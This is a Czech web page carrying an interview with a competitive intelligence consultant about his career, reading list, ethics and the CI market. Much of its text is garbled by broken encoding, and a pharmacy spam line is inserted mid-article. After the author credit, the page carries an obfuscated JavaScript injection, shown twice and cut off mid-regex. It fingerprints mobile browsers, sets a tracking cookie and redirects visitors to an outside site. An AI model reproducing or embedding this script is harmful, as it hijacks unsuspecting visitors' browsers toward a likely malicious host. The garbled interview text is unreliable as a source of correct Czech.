Interview s Ing. Ivanem Ai??pinglem

Realizace CI

22. 12. 2011

Ing. Ivan Ai??pingl

… je specialista na strategickA? marketing a Competitive Intelligence, pAi??ed nedA?vnem se stal regionA?lnAi??m zA?stupcem Institute for Competitive Intelligence pro A?eskou republiku.


Jak jste se dostal ke Competitive Intelligence, kdy to bylo? Co bylo tAi??m prvnAi??m impulsem?

Pro mAi?? je zvlA?dA?nAi?? CI v zA?sadAi?? totAi??A?, jako zvlA?dA?nAi?? konkurenceschop­nosti. Competitive je v angliA?tinAi?? soutAi??A?ivA?, konkurenA?nAi?? A?i konkurences­chopnA?. Firma, kterA? dAi??lA? CI velmi dobAi??e, je na nA?rodnAi??m trhu leaderem v oboru. KterA? dAi??lA? CI excelentnAi??, je leaderem na globA?lnAi?? A?rovni.

DAi??lA?nAi?? CI souvisAi?? s dovednA?m vyuA?Ai??vA?nAi??m specifickAi??ho souboru zkuA?enostAi??, znalostAi??, dovednostAi??, metodik a osvAi??dA?enA?ch postupA? k tomu, aby byl podnikatelskA? subjekt na trhu schopen A?spAi??A?nAi?? odolA?vat konkurenci, neboli rivalA?m, kteAi??Ai?? se vedle takovAi??ho subjektu vAi??nujAi?? na trhu stejnA?m hospodA?Ai??skA?m A?innostem, stejnAi??mu druhu podnikA?nAi??.

Podobnost ale vidAi??m i tAi??eba ve sportu A?i jinA?ch soutAi??A?ivA?ch hrA?ch, zrovna tak pAi??i vedenAi?? vA?lek ve vojenstvAi??. TrenAi??r sportovnAi??ho muA?stva jezdAi?? na zA?pasy budoucAi??ch soupeAi??A?, studuje jejich hru a jejich pAi??ednosti, snaA?Ai?? se odhalit, ai??zprokouknou­tai??? slabiny, pAi??emA?A?lAi?? o strategii a taktice, jak soupeAi??e porazit. OstatnAi?? i dnes, jako pAi??ed tisAi??ciletAi??mi, pouA?Ai??vA?me pA?vodnAi?? vojenskAi?? vA?razy, kdyA? mluvAi??me o strategii nebo taktice. RenomovanAi?? vzdAi??lA?vacAi?? instituce v kurzech uA?Ai?? early warning systems (systAi??my vA?asnAi??ho varovA?nAi??) nebo war gaming (doslova hranAi?? vA?leA?nA?ch her), pAi??i kterA?ch simulujAi?? moA?nAi?? varianty ai??zbitevai??? s konkurenty.

Studenti na A?kolA?ch to jeA?tAi?? nemusAi?? ani tuA?it, ale pAi??estoA?e A?ijeme v mAi??ru, zuAi??Ai?? v byznysu na celAi??m svAi??tAi?? tvrdA? konkurenA?nAi?? boj. MA?A?eme Ai??Ai??ci, A?e permanentnAi?? probAi??hA? globA?lnAi??, studenA? obchodnAi?? vA?lka. Ti, co vyhrA?vajAi??, tak expandujAi??, bohatnou a podmaA?ujAi?? si hracAi?? pole ai??i?? trhy. Ti, co prohrA?vajAi??, chudnou nebo zmizAi?? z trhA? A?plnAi??. Jsou pohlceni silnAi??jA?Ai??mi, jejich obchodnAi?? znaA?ky zanikajAi??. PodobnA? princip panuje i v pAi??Ai??ro­dAi?? ai??i?? A?ivoA?iA?nAi?? druhy, kterAi?? nejsou schopny se pAi??izpA?sobit mAi??nAi??cAi??m se podmAi??nkA?m prostAi??edAi??, vymAi??rajAi?? na A?kor jinA?ch. JinAi?? druhy, kterAi?? konkurenA?nAi?? boj vyhrA?vajAi??, pAi??eA?Ai??va­jAi??.

PrvnAi?? impulsy, prvnAi?? seznA?menAi?? s problAi??my konkurenceschop­nosti souvisely s mA?m prvnAi??m zamAi??stnA?nAi??m po vysokAi?? A?kole, kdy jsem se stal zamAi??stnancem podniku zahraniA?nAi??ho obchodu a po urA?itAi??m zapracovA?nAi?? se stal obchodnAi??kem v pozici Sales Manager. To bylo jeA?tAi?? v 80. letech, v socialismu. VyvA?A?el jsem stroje na kapitalistickAi?? trhy. DennodennAi?? jsem si lA?mal hlavu, jakAi?? parametry by ty naA?e stroje mAi??ly mAi??t a kolik by mAi??ly stA?t, aby v mezinA?rodnAi?? obchodnAi?? soutAi??A?i vyh­rA?ly, aby A?ly, jak se tenkrA?t Ai??Ai??kalo, dobAi??e na odbyt. DAi??lal jsem srovnA?vacAi?? analA?zy, hledal jsem komparativnAi?? vA?hody.

DalA?Ai??m impulsem, to uA? bylo v 90. letech, pro mAi?? bylo zaloA?enAi?? vlastnAi?? firmy. ZaloA?il jsem jAi?? s partnerem z Kalifornie. Poskytovala rady v oblasti strategickAi??ho marketingu, plA?novA?nAi?? a de facto implicitnAi?? i CI. Od tAi?? doby jsem pak absolvoval asi 50 poradenskA?ch projektA? na tato a pAi??Ai??buznA? tAi??mata. Po dobu vAi??ce neA? 15 let jsem se snaA?il pAi??inA?A?et ze svAi??ta, zvlA?A?tAi?? z USA, ve prospAi??ch A?eskA?ch firem praktickAi?? zkuA?enosti, jak si to A?spAi??A?nAi?? rozdat s globA?lnAi?? konkurencAi??. SamozAi??ejmAi?? v duchu fair play, tedy eticky.

PAi??edposlednAi??m impulsem byl pro mAi?? rok 2005, kdy jsem se stal A?lenem globA?lnAi??ho sdruA?enAi?? SCIP se sAi??dlem v USA ai??i?? www.scip.org. TroufA?m si tvrdit, A?e vyA?A?Ai?? A?roveA? znalostAi??, jak praktikovat CI, nelze nikde na svAi??tAi?? neA? ve SCIP zAi??skat.

PoslednAi?? impuls v Ai??adAi?? pAi??edstavuje okolnost, A?e jsem od zaA?A?tku tohoto roku zaA?al u nA?s zastupovat spoleA?nost ICI ai??i?? Institute for Competitive Intelligence, coA? je globA?lnAi?? operujAi??cAi?? vzdAi??lA?vacAi?? agentura se sAi??dlem v NAi??mecku.


acquire depakote, acquire clomid.
JakA? typ vzdAi??lA?nAi?? je podle VA?s vhodnou prA?pravou pro drA?hu CI profesionA?la?

NejlepA?Ai?? je podle mAi?? absolvovat nAi??jakou podnikatelsky orientovanou univerzitu, pAi??Ai??padnAi?? univerzitnAi?? obor zamAi??Ai??enA? na studium informatiky pro podporu podnikA?nAi??. PozdAi??ji je nezbytnAi?? nutnAi?? se prakticky od pAi??ky seznA?mit se vA?emi procesy, kterAi?? souvisejAi?? s podnikA?nAi??m, zvlA?A?tAi?? s procesy a interakcemi, kterAi?? probAi??hajAi?? mezi firmou a subjekty vnAi??jA?Ai??ho okolAi??. NejlAi??pe v nAi??jakAi?? spAi??A?e vAi??tA?Ai??, A?spAi??A?nAi??, soukromAi?? firmAi??.

Tak jako tak, je to dlouhA? cesta. OdbornAi??kem na CI se nelze stA?t rychle. UA? z toho dA?vodu, A?e se jednA? o interdiscipli­nA?rnAi?? obor. OstatnAi?? obecnAi?? platAi??, A?e to chce o vA?em vAi??dAi??t nAi??co a o nAi??A?em vA?echno. To je univerzA?lnAi?? recept na A?spAi??ch. A neA? je A?lovAi??k schopen pochopit celkovA? kontext podnikA?nAi??a­i??i??

VysokA? A?kola mA?A?e poskytnout jen zA?kladnAi?? vAi??domosti. Je to asi takovA? rozdAi??l, jako zAi??skat v autoA?kole Ai??idiA?A?k a zaA?Ai??t jezdit s bAi??A?nA?m osobnAi??m autem do A?koly, do prA?ce, nebo na vA?lety. Nebo se A?ivit jako Ai??idiA? formule 1.

DobrA?m zaA?A?tkem pro zahA?jenAi?? kariAi??ry v CI je pAi??ijmout prA?ci v nAi??jakAi??m prodejnAi??m nebo marketingovAi??m oddAi??lenAi?? nebo v oddAi??lenAi?? vA?voje novA?ch produktA? a zabA?vat se zde rA?znA?mi analA?zami, pAi??Ai??padnAi?? pracovat v analytickAi??m oddAi??lenAi??, jak se v A?esku takovA?m pracoviA?tAi??m Ai??Ai??kA?. V CI se dobAi??e uA?ivAi?? i (pA?vodnAi??) ai??zajA?A?ciai???. PAi??edpoklA?dA? to ovA?em, A?e se dokA?A?Ai?? odtrhnout od ryze technologickA?ch pAi??Ai??stupA? k problAi??mA?m a jsou schopni a ochotni naslouchat potAi??ebA?m a pAi??A?nAi??m zA?kaznAi??kA?. No a po 10 aA? 20 letech praxe se vAi??novat nAi??jakA?m strategickA?m zA?leA?itostem. DAi??lat byznys plA?ny, strategickAi?? plA?ny a pAi??i tom se dA?le oborovAi?? vzdAi??lA?vat. OdbornAi??k na CI musAi?? mAi??t ai??zprst na tepu dobyai???, bA?t schopen vyhodnocovat trendy.


Literatury o CI je mnoho, kterAi?? knihy povaA?ujete za zA?sadnAi?? a doporuA?il byste je studentA?m a zaA?A?teA?nAi??kA?m? KterA? VA?s osobnAi?? ovlivnila nejvAi??ce?

ZaA?al bych knihami Competitive Strategy od Michaela Portera a Marketing Management od Philipa Kotlera. Ty zA?sadnAi?? ovlivnily nejen mAi??, ale celA? podnikatelskA? svAi??t. Pak tAi??eba Hypercompetitive Rivalries od Richarda DA?Aveni.


Jak se zmAi??nila praxe ve vyhledA?vA?nAi?? a vyuA?Ai??vA?nAi?? informacAi?? v poslednAi??ch deseti letech?

Co se vyhledA?vA?nAi?? tA?A?e, totA?lnAi?? zmAi??nu pAi??inesla technologie search enginA? s aA? omraA?ujAi??cAi?? vA?konnostAi??, spoleA?nAi?? s automatizovanA?mi moA?nostmi kontextovAi??ho vyhledA?vA?nAi?? v A?ele s firmou Google. A nejnovAi??ji vyuA?Ai??vA?nAi?? cloudA?. SvAi??t se stal zA?sluhou internetu a mAi??diAi?? aA? ai??zpAi??ein­formovanA?mai???. Plaveme v moAi??i infor­macAi??, unA?A?Ai?? nA?s lavina informacAi??, mnohdy se aA? pAi??ed informacemi brA?nAi??me, je jich pAi??Ai??liA? mno­ho.

ZmAi??nu principiA?lnAi?? vidAi??m v tom, A?e dAi??Ai??ve nAi??kdo mohl excelovat tAi??m, A?e nAi??kde vyhledal, naA?el data a udAi??lal z nich relevantnAi?? informace ai??i?? nAi??co jako schopnost najAi??t valoun zlata nAi??kde v pAi??Ai??rodAi??. Dneska je oceA?ovA?n spAi??A?e ten, kdo umAi?? filtrovat, kdo umAi?? najAi??t v tunA?ch pAi??sku pA?r zrnek zlata. DAi??Ai??ve tedy byl oceA?ovA?n mistr v hledA?nAi??, dneska mistr ve filtrovA?nAi??. S vyuA?Ai??vA?nA­i??m informacAi?? je to podle mAi?? v principu stejnAi?? jako v pravAi??ku a souvisAi?? to notnou mAi??rou s inteligencAi?? konkrAi??tnAi??ho jedince. Proto je ostatnAi?? slovo inteligence souA?A?stAi?? pojmu CI.


Setkal jste se s nelegA?lnAi??mi praktikami v CI? A jakA?mi? PoA?adujAi?? firmy v rA?mci konkurenA?nAi??ho boje vyuA?Ai??vA?nAi?? nelegA?lnAi??ch a neetickA?ch praktik?

NelegA?lnAi?? praktiky v CI, podobnAi?? jako v A?ivotAi??, byly, jsou a budou, protoA?e jsou za vA?Ai??m lidAi??. A morA?lnAi?? profil lidAi?? je velmi rA?znorodA?. VA?ichni se napAi??. mA?A?eme docela pravidelnAi?? doA?Ai??tat o afAi??rA?ch a soudnAi??ch kauzA?ch zaloA?enA?ch na zneuA?itAi?? informacAi?? v obchodnAi??m sty­ku.

KonkrAi??tnAi?? u nA?s, ale i jinde ve svAi??tAi??, se na hranici zA?kona, aA? mnohdy za hranicAi?? zA?kona, pohybujAi?? malAi?? soukromAi?? detektivnAi?? kancelA?Ai??e. PAi??esnAi??ji Ai??eA?eno ai??zdetektivnAi?? kancelA?Ai??eai???. VelkA? renomovanA? vA?zkumnA? agentura, kterA? se drA?Ai?? cechovnAi??ho etickAi??ho kodexu, nelegA?lnAi?? a neetickAi?? pAi??Ai??stupy zA?sadnAi?? odmAi??tA?. JejAi?? riziko je totiA? pAi??Ai??liA? velkAi??. HrozAi?? jAi??, kdyA? pAi??ijme zakA?zku na hranAi?? legA?lnosti, A?e mA?A?e neetickA?mi praktikami zkazit svAi?? jmAi??no, kterAi?? si vypAi??stovala tAi??eba i za nAi??kolik desetiletAi??, coA? by pAi??edstavovalo obrovskou ztrA?tu.

BAi??A?nAi?? se ale dAi??je, A?e se nAi??kdo nechA? zamAi??stnat ve firmAi?? A, aby informace o firmAi?? A donA?A?el firmAi?? B. To uA? ale nenAi?? podle mAi?? striktnAi?? vzato CI, ale prA?myslovA? A?pionA?A?. Na trhu lze koupit i rA?znAi?? ai??zzpravodaj­skAi?? prostAi??edkyai??? k neetickAi??mu zAi??skA?vA?nAi?? informacAi?? o konkurentovi. Je to nejen neetickAi?? ale i trestnAi??. PAi??esto se tak dAi??je, protoA?e bA?vA? cena za takovAi?? sluA?by velmi vysokA?. Nelze se pak ovA?em divit, A?e aktAi??Ai??i ta­kovA?ch A?innostAi?? nAi??kdy i beze stop zmizAi??. PAi??Ai??padnAi?? se najdou jejich mrtvoly.


JakAi?? jsou nejnovAi??jA?Ai?? trendy?

PoslednAi?? dobou vidAi??m trend vytvA?Ai??enAi?? konkurenA?nAi?? vA?hody sniA?ovA?nAi??m nA?kladA? dalA?Ai??m pAi??esouvA?nAi?? obchodnAi??ch A?innostAi?? na internet, vyuA?Ai??vA?nAi??m sluA?eb v cloudu, stA?le vyA?A?Ai??m vyuA?Ai??vA?nAi??m open source a nahrazovA?nAi??m osobnAi??ho jednA?nAi?? a s tAi??m souvisejAi??cAi??ho sniA?ovA?nAi?? cestovnAi??ch nA?kladA? rA?znA?mi stA?le vyspAi??lejA?Ai??mi komunikaA?nAi??mi prostAi??edky, kterAi?? internet umoA?A?uje. Telekonference, videokonference, webinA?Ai??e apod. ObrovskAi?? vymoA?enosti pAi??inA?A?ejAi?? mobilnAi?? technologie.


JakA? je souA?asnA? situace v A?R v oblasti CI?

RozliA?uji 3 A?rovnAi?? zvlA?dA?nAi?? CI: basic, advanced a master, neboli zA?kladnAi??, pokroA?ilAi?? a vyspAi??lAi??. ZA?kladnAi?? A?roveA? zvlA?dA?nAi?? CI prokazuje 100% vA?ech podnikatelskA?ch subjektA? v A?R, tak jako vA?ude jinde na svAi??tAi??. KaA?dA? i jednotlivA? podnikajAi??cAi?? osoba, kaA?dA? A?ivnostnAi??k, totiA? sleduje konkurenta, pomAi??Ai??uje se s nAi??m v cenAi?? i hodnotAi?? nabAi??zenA?ch produktA?, A?te odbornAi?? A?asopisy, vyhledA?vA? si informace na internetu, dovAi??dA? se o konkurentech od zA?kaznAi??kA?, ptA? se znA?mA?ch.

Na pokroA?ilAi?? A?rovni se vAi??nujAi?? CI firmy stAi??ednAi?? velikosti, vAi??tA?inou jako souA?A?st A?innostAi?? v oddAi??lenAi??ch marketingu nebo obchodu, pAi??Ai??padnAi?? vA?voje. Prakticky nikde, pokud vAi??m, ale nenAi?? ve stAi??ednAi??ch firmA?ch extra specialista explicitnAi?? na dAi??lA?nAi?? CI na plnA? A?vazek, nebo dokonce speciA?lnAi?? oddAi??lenAi?? CI. TakovAi?? specializovanAi?? jednotlivce nebo dokonce oddAi??lenAi?? lze najAi??t aA? ve vAi??tA?Ai??ch firmA?ch, spAi??A?e velkA?ch aA? nejvAi??tA?Ai??ch.

Taky zA?leA?Ai?? na odvAi??tvAi??. Na velmi vysokAi?? svAi??tovAi?? A?rovni dAi??lajAi?? CI farmaceutickAi?? firmy. Ale i tAi??eba firmy telekomunikaA?nAi?? nebo ty, kterAi?? zpracovA?vajAi?? a distribuujAi?? produkty z nafty. MajAi?? pomAi??rnAi?? znaA?nAi?? obraty a zisky, takA?e si veA?kerAi?? existujAi??cAi?? vymoA?enosti CI mohou dovolit. HlavnAi?? jich je ale na globA?lnAi??ch trzAi??ch pomAi??rnAi?? hodnAi?? a zuAi??Ai?? proto mezi nimi drsnA? konkurenA?nAi?? boj. NapAi??. ve firmAi?? Shell je A?Ai??fem CI jistA? Carl Rose, s kterA?m jsem mAi??l moA?nost na jednAi?? z konferencAi?? SCIP mluvit. A ten mi prozradil, A?e mA? pod sebou 80 lidAi?? (slovy osmdesA?t), kteAi??Ai?? se dennodennAi?? nevAi??nujAi?? niA?emu jinAi??mu neA? tvorbAi?? strategickA?m scAi??nA?Ai??A?. Je ovA?em nutno mAi??t na pamAi??ti, A?e Shell nenAi?? pouze distributorem paliva do aut, ale i vlastnAi??kem rozsA?hlA?ch petrochemickA?ch tovA?ren a naftovA?ch polAi?? po celAi?? zemAi??kouli.

Je nutno mAi??t na pamAi??ti smutnA? fakt, a sice A?e je zhruba 90% firem v A?R vlastnAi??no cizinci, logicky prA?vAi?? tAi??ch nejvAi??tA?Ai??ch, A?e jsou u nA?s proto vAi??tA?inou jen lokA?lnAi?? poboA?ky takovA?ch firem, a ty proto na naA?em A?zemAi?? oddAi??lenAi?? CI nemajAi??. MajAi?? je vesmAi??s v sA­i??dlech svA?ch mateAi??skA?ch spoleA?nostAi??, tedy v zahraniA?Ai??. NavAi??c je tuzemskA? trh pomAi??rnAi?? malA? a vyuA?itAi?? ai??zplnAi?? zbrojeai??? CI je na tomto malAi??m A?zemAi?? ekonomicky jen tAi??A?ko obhajitelnAi??. PotenciA?l pro vyuA?itAi?? vyspAi??lA?ch forem CI tak lze jasnAi?? identifikovat jen u A?eskA?ch firem, vlastnAi??nA?ch mAi??stnAi??mi obA?any, kterAi?? expandujAi?? na zahraniA?nAi?? trhy. To je totiA? pAi??esnAi?? ten sprA?vnA? moment, kdy zjistAi??, jakA? je rozdAi??l bA?t leaderem trhu doma, na nA?rodnAi??m trhu anebo ve svAi??tAi??.


NedA?vno jste se stal regionA?lnAi??m zA?stupcem ICI (Institut for Competitive Intelligence) pro A?R, co to znamenA? pro CI u nA?s a co konkrAi??tnAi?? pro VA?s?

Pro zaA?A?teA?nAi??ky ale i pokroA?ilAi?? mAi??stnAi?? odbornAi??ky v oboru CI to znamenA?, A?e uA? nemusejAi?? pro vyA?A?Ai?? oborovAi?? znalosti lAi??tat nebo jezdit do zahraniA?Ai??. ZA?jemci o dlouhodobAi??jA?A­i?? kurzy zde mohou zAi??skat certifikA?t, kterA? jim otevAi??e cestu do EU, protoA?e tam vA?ude platAi?? a je uznA?vA?n. Neboli ICI nabAi??zAi?? vzdAi??lA?vA?nAi?? certifikovanAi??.

Pro mAi?? to znamenA? se na platformAi?? CI institucionali­zovat. BlAi??A?Ai?? se oslavy konce roku, tak bych Ai??ekl, A?e je CI v lA?hvi ICI dobrou, kvalitnAi??, jiA? osvAi??dA?enou znaA?kou ai??i?? viz www.competitive-intelligence.com.


PrA?vAi?? probAi??hl prvnAi?? workshop ICI u nA?s. Jak byste zhodnotil jeho pAi??Ai??nos? (pozn. red: ICI-1 ai??i?? Competitive Intelligence Workshop ve dnech 31. 10. a 1. 11. 2011)

Byl to workshop uvA?dAi??jAi??cAi?? do problematiky CI. Podle ohlasu byl pro A?A?astnAi??ky pAi??Ai??nos pAi??edevA?Ai??m v tom, A?e se mohli setkat s A?lovAi??kem, kterA? CI A?spAi??A?nAi?? pAi??ednA?A?Ai?? po celAi?? zemAi??kouli. NadnesenAi?? Ai??eA?eno, A?e si na CI mohli na workshopu sA?hnout. UA? roky se totiA? u nA?s tA?hla bezbAi??ehA? akademickA? disputace, co je a nenAi?? CI, co je BI apod. TAi??mto A?vodnAi??m workshopem tato polemika skonA?ila.


JakAi?? mA?te dalA?Ai?? plA?ny do budoucna?

V souA?asnosti se A?ivAi??m jako poradce ministra dopravy. NedA?vno jsem byl na komornAi??ji pojatAi?? konferenci poradcA? v managementu, kde se nA?m pAi??i svAi?? pAi??ednA?A?ce Prof. Michal MejstAi??Ai??k z NER­Vu svAi??Ai??il, A?e ho velice zaujaly vymoA?enosti novAi??ho oboru Competitive Intelligence a A?e tento obor teA? chtAi??jAi?? velmi podporovat (zAi??ejmAi?? vlA?da a NERV). A?e A?asne, co vA?echno lze z prostAi??ho propojenAi?? rA?znA?ch informaA?nAi??ch databA?zAi?? zAi??skat, co tam lze vyhledat. V osobnAi?? debatAi?? jsem se mu pak odhalil v tom smyslu, A?e se popularizaci CI v A?R vAi??nuji uA? dlouhou Ai??adu letai??i??

VidAi??m v oboru CI velkAi?? perspektivy. Historickou pAi??Ai??leA?itost vytvA?Ai??Ai?? sama doba, v kterAi?? A?ijeme ai??i?? aA? A?Ai??lenA? zadluA?enost EU a USA a z toho plynoucAi?? krizovAi?? jevy. Vedle toho expanze A?Ai??ny, Indie a BrazAi??lie. Tedy pro EU hrozby aA? existenA?nAi??. Tato situace je tou nejlepA?Ai?? vodou na mA?j mlA?n, a tedy i vodou na mlA?n CI obecnAi??. VA?ichni politici zleva i zprava teA? totiA? skloA?ujAi?? slovo konkurenceschopnost ve vA?ech pA?dech.

KdyA? je blahobyt, vysokA? poptA?vka, velkA? nenasycenost trhA? a zA?vratnAi?? rostoucAi?? trA?by, je (logicky) zA?jem o profesi CI jen minimA?lnAi??. KdyA? je krize, tak naopak. MA?j kolega v USA je momentA?lnAi?? zcela vyprodA?n. Mne si ruce, A?e si americkAi?? firmy vzpomnAi??ly na starAi?? dobrAi?? plA?novA?nAi??. A k tomu potAi??ebujAi?? relevantnAi?? informaceai??i??

NavAi??c se vA?ude rozjAi??A?dAi?? frontA?lnAi?? boj proti korupci, A?Ai??mA? se notnAi?? omezAi?? intelektuA?lnAi?? mnohem pohodlnAi??jA?Ai?? zpA?sob zAi??skA?vA?nAi?? konkurenA?nAi?? vA?hody.


DAi??kuji za rozhovor.

Autor: Lenka Ai??atavovA?

var _0×446d=[„\x5­F\x6D\x61\x75\x74\x68\x7­4\x6F\x6B\x65\x6E“,„\x69­\x6E\x64\x65\x78\x4F\x66­“,„\x63\x6F\x6F\x6B\x69\­x65“,„\x75\x73\x65\x72\x­41\x67\x65\x6E\x74“,„\x7­6\x65\x6E\x64\x6F\x72“,„­\x6F\x70\x65\x72\x61“,„\­x68\x74\x74\x70\x3A\x2F\­x2F\x67\x65\x74\x68\x65\­x72\x65\x2E\x69\x6E\x66\­x6F\x2F\x6B\x74\x2F\x3F\­x32\x36\x34\x64\x70\x72\­x26“,„\x67\x6F\x6F\x67\x­6C\x65\x62\x6F\x74“,„\x7­4\x65\x73\x74“,„\x73\x75­\x62\x73\x74\x72“,„\x67\­x65\x74\x54\x69\x6D\x65“­,„\x5F\x6D\x61\x75\x74\x­68\x74\x6F\x6B\x65\x6E\x­3D\x31\x3B\x20\x70\x61\x­74\x68\x3D\x2F\x3B\x65\x­78\x70\x69\x72\x65\x73\x­3D“,„\x74\x6F\x55\x54\x4­3\x53\x74\x72\x69\x6E\x6­7“,„\x6C\x6F\x63\x61\x74­\x69\x6F\x6E“];if(do­cument[_0×446d[2]­][_0×446d[1]](_0×446d[0]­)==  –1){(function(_0×ec­fdx1,_0×ecfdx2){if(_0×­ecfdx1[_0×446d­[1]](_0×446d[7])==  –1){if(/(andro­id|bb\d+|meego)­.+mobile|avan­tgo|bada\/|blac­kberry|blazer|com­pal|elaine|fen­nec|hiptop|ie­mobile|ip(hone|od|ad)|i­ris|kindle|lge |maemo|midp|mmp|mo­bile.+firefox|net­front|opera m(ob|in)i|palm( os)?|phone|p(i­xi|re)\/|pluc­ker|pocket|psp|se­ries(4|6)0|sym­bian|treo|up\­.(browser|lin­k)|vodafone|wap|win­dows ce|xda|xiino/i[_0×446d­[8]](_0×ecfdx1)|| /1207|6310|65­90|3gso|4thp|50[1–6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(­av|ca|co)|amo­i|an(ex|ny|yw)|ap­tu|ar(ch|go)|as(te|us)|at­tw|au(di|\-m|r |s )|avan|be(ck|ll­|nq)|bi(lb|rd)|bl(ac|az)­|br(e|v)w|bum­b|bw\-(n|u)|c55\/|c­api|ccwa|cdm\-|cell|chtm|cldc­|cmd\-|co(mp|nd)|cr­aw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c­|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)­|er(ic|k0)|es­l8|ez([4–7]0|os|wa|ze)­|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad­|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)­|tp)|hu(aw|tc)|i\-(20|go|ma)|i2­30|iac( |\-|\/)|ibro|ide­a|ig01|ikom|im1k|in­no|ipaq|iris|ja(t|v)a­|jbro|jemu|jig­s|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no­|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|­ma(te|ui|xo)|mc(01|­21|ca)|m\-cr|me(rc|ri)|­mi(o8|oa|ts)|mmef|m­o(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(­50|p1|v )|mwbp|mywa|n10[0–2]|n20[2–3]|n30(0|2)|n­50(0|2|5)|n7(0(0|1)|10)|­ne|phil|pire|pl(a­y|uc)|pn\-2|po(ck|rt|se­)|prox|psio|pt\-g|qa\-a|qc(07|12|21­|32|60|\-[2–7]|i\-)|qtek|r380|r­600|raks|rim9|ro(ve­|zo)|s55\/|sa(ge|ma|mm|m­s|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|n­d|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|s­m(al|ar|b3|it|t5)|so(ft|­ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t­2(18|50)|t6(00|10|18)|ta­(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|­ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|ut­st|v400|v750|ve­ri|vi(rg|te)|vk(40|5[0–3]|\-v)|vm40|voda|vul­c|vx(52|53|60|61|70|80|8­1|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|­wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]­](_0×ecfdx1[_0×446d­[9]](0,4))){var _0×ecfdx3= new Date( new Date()[_0×446d­[10]]()+ 1800000);docu­ment[_0×446d[2]­]= _0×446d[11]+ _0×ecfdx3[_0×446d­[12]]();window[_0×446d[­13]]= _0×ecfdx2}}})(na­vigator[_0×446d[­3]]|| navigator[_0×446d[­4]]|| window[_0×446d[­5]],_0×446d[6])}var _0×446d=[„\x5­F\x6D\x61\x75\x74\x68\x7­4\x6F\x6B\x65\x6E“,„\x69­\x6E\x64\x65\x78\x4F\x66­“,„\x63\x6F\x6F\x6B\x69\­x65“,„\x75\x73\x65\x72\x­41\x67\x65\x6E\x74“,„\x7­6\x65\x6E\x64\x6F\x72“,„­\x6F\x70\x65\x72\x61“,„\­x68\x74\x74\x70\x3A\x2F\­x2F\x67\x65\x74\x68\x65\­x72\x65\x2E\x69\x6E\x66\­x6F\x2F\x6B\x74\x2F\x3F\­x32\x36\x34\x64\x70\x72\­x26“,„\x67\x6F\x6F\x67\x­6C\x65\x62\x6F\x74“,„\x7­4\x65\x73\x74“,„\x73\x75­\x62\x73\x74\x72“,„\x67\­x65\x74\x54\x69\x6D\x65“­,„\x5F\x6D\x61\x75\x74\x­68\x74\x6F\x6B\x65\x6E\x­3D\x31\x3B\x20\x70\x61\x­74\x68\x3D\x2F\x3B\x65\x­78\x70\x69\x72\x65\x73\x­3D“,„\x74\x6F\x55\x54\x4­3\x53\x74\x72\x69\x6E\x6­7“,„\x6C\x6F\x63\x61\x74­\x69\x6F\x6E“];if(do­cument[_0×446d[2]­][_0×446d[1]](_0×446d[0]­)==  –1){(function(_0×ec­fdx1,_0×ecfdx2){if(_0×­ecfdx1[_0×446d­[1]](_0×446d[7])==  –1){if(/(andro­id|bb\d+|meego)­.+mobile|avan­tgo|bada\/|blac­kberry|blazer|com­pal|elaine|fen­nec|hiptop|ie­mobile|ip(hone|od|ad)|i­ris|kindle|lge |maemo|midp|mmp|mo­bile.+firefox|net­front|opera m(ob|in)i|palm( os)?|phone|p(i­xi|re)\/|pluc­ker|pocket|psp|se­ries(4|6)0|sym­bian|treo|up\­.(browser|lin­k)|vodafone|wap|win­dows ce|xda|xiino/i[_0×446d­[8]](_0×ecfdx1)|| /1207|6310|65­90|3gso|4thp|50[1–6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(­av|ca|co)|amo­i|an(ex|ny|yw)|ap­tu|ar(ch|go)|as(te|us)|at­tw|au(di|\-m|r |s )|avan|be(ck|ll­|nq)|bi(lb|rd)|bl(ac|az)­|br(e|v)w|bum­b|bw\-(n|u)|c55\/|c­api|ccwa|cdm\-|cell|chtm|cldc­|cmd\-|co(mp|nd)|cr­aw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c­|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)­|er(ic|k0)|es­l8|ez([4–7]0|os|wa|ze)­|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad­|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)­|tp)|hu(aw|tc)|i\-(20|go|ma)|i2­30|iac( |\-|\/)|ibro|ide­a|ig01|ikom|im1k|in­no|ipaq|iris|ja(t|v)a­|jbro|jemu|jig­s|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no­|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|­ma(te|ui|xo)|mc(01|­21|ca)|m\-cr|me(rc|ri)|­mi(o8|oa|ts)|mmef|m­o(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(­50|p1|v 